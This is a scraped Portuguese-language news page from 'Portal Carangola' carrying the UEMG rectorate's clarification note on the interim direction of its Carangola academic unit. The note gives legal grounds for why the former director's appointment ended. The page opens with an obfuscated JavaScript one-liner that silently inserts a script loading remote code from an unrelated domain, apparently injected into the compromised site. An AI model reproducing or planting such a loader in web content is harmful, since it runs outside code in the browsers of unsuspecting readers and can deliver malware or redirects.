;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Nota de esclarecimento à Comunidade Acadêmica de Carangola. - Portal Carangola

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Nota de esclarecimento à Comunidade Acadêmica de Carangola.

A Reitoria da Universidade do Estado de Minas Gerais vem a público esclarecer a Comunidade Acadêmica da UEMG de Carangola sobre a nomeação da direção interina da referida Unidade.

Consoante estabelecem os arts. 51 e 52 do Estatuto da UEMG, aprovado pelo Decreto nº  46.352/2013, o cargo de Diretor Acadêmico é de recrutamento limitado, restrito  aos detentores do cargo de Professor de Educação Superior.

Na qualidade de docente designado, o vínculo do ex-diretor, Prof. Braz Cosenza, com a Universidade, por determinação expressa do art. 10, § 2º, da Lei nº 10.254/90, encerrou-se em 31 de dezembro de 2019.

A realização de nova designação temporária do referido docente para o ano letivo de 2020, ou mesmo a abertura de processo seletivo simplificado para as disciplinas que até então lecionava, encontra vedação no art. 10, II, da mesma norma, tendo em vista a existência de candidato aprovado em concurso público para a respectiva vaga. Trata-se do concurso regido pelo Edital nº 6/2018, com homologação publicada no Diário Oficial em 10/12/2020.

Em que pese o art. 51, § 3º, do Estatuto da UEMG estabelecer para os Diretores Acadêmicos eleitos o mandato de quatro anos, a existência do vínculo funcional como docente da instituição constitui requisito essencial para o exercício do cargo em contento. Neste sentido, é o teor do art. 7º, § 1º, da Resolução CONUN/UEMG nº 352/2016, que estabelece a forma de provimento dos cargos de Direção nas Unidades Acadêmicas pendentes de completa estruturação, nos moldes do que ocorre em Carangola:

 

“Art. 7º(…)

  • 1º O exercício do mandato a que se refere o caput estará condicionado à manutenção do vínculo de docente (…) com a respectiva Unidade Acadêmica”.

Desta forma, sem desmerecer a inquestionável relevância da atuação dos docentes que, até 31 de dezembro de 2019, estiveram à frente da direção da FAFILE, a reconstituição do vínculo dos mesmos, na atual circunstância, considerando o fato de não terem sido aprovados no Concurso Público realizado para as áreas em que atuam, esbarraria em impedimento jurídico impossível de ser debelado pela atuação desta Reitoria.

Até que ocorra a posse dos docentes aprovados em concurso e, ato contínuo, sejam instauradas novas eleições com base no art. 51 do Estatuto da Universidade, a docente Andrea Vicente Toledo Abreu, por indicação do próprio ex-diretor, Prof. Braz Cosenza, permanecerá interinamente na Direção da Unidade Acadêmica de Carangola, evitando qualquer prejuízo para o corpo discente da instituição.

Belo Horizonte,

Reitoria da Universidade do Estado de Minas Gerais

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